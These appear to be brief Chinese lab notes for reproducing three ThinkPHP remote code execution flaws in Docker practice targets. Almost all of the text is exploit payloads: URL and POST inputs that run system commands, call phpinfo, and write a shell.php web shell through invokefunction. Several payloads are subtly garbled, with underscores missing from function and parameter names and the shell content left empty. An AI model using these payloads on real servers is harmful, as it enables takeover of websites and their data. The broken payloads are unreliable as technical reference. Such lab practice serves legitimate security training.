2-rce
进入到2-rce文件后,docker-compose up -d启动容器
在浏览器中登陆靶场ip:8080
输入payload://index.php?s=/index/index/xxx/${system(id)}
//index.php?s=/index/index/xxx/${system(whoami)}
//index.php?s=/index/index/xxx/${phpinfo()}
5.0.23-rce
进入到5.0.23-rce文件后,docker-compose up -d启动容器
在浏览器中登陆靶场ip:8080
payload:/index.php?s=captcha
在HackBar中选择post data,在下面的输入框中执行poc:method=construct&filter[]=system&method=get&server[REQUESTMETHOD]=id
5-rce
进入到5-rce文件后,docker-compose up -d启动容器
在浏览器中登陆靶场ip:8080
查看php配置,输入payload:/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
将php文件写入信息,payload:/index.php?s=/index/\think\app/invokefunction&function=calluserfuncarray&vars[0]=fileput_contents&vars[1][]=shell.php&vars[1][]=
查看shell php信息内容,payload:shell.php